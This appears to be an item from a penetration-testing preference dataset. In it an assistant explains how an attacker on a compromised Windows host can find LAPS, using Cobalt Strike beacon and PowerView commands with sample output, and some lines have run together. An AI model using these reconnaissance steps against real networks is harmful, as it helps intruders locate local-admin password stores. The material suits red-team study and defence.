Unknown model· unknown
from pentesting-dpo (cowWhySo)
How can an attacker find the presence of LAPS on a compromised machine?
- User
How can an attacker find the presence of LAPS on a compromised machine?
- Assistant
There are a few methods to hunt for the presence of LAPS. If LAPS is applied to a machine that you have access to, AdmPwd.dll will be on disk.
beacon> run hostname
codewkstn-1 beacon> ls C:\Program Files\LAPS\CSE Size Type Last Modified Name ---- ---- ------------- ---- 145kb fil 09/22/2016 08:02:08 AdmPwd.dllFind GPOs that have "LAPS" or some other descriptive term in the name.
codebeacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl displayname : LAPS name : {4A8A4E8E-929F-401A-95BD-A7D40E0976C8} gpcfilesyspath : \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}Search computer objects where the
ms-Mcs-AdmPwdExpirationTimeproperty is not null (any Domain User can read this property).codebeacon> powershell Get-DomainObject -SearchBase "LDAP://DC=dev,DC=cyberbotic,DC=io" | ? { $_."-ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname dnshostname ----------- wkstn-1.dev.cyberbotic.io wkstn-2.dev.cyberbotic.io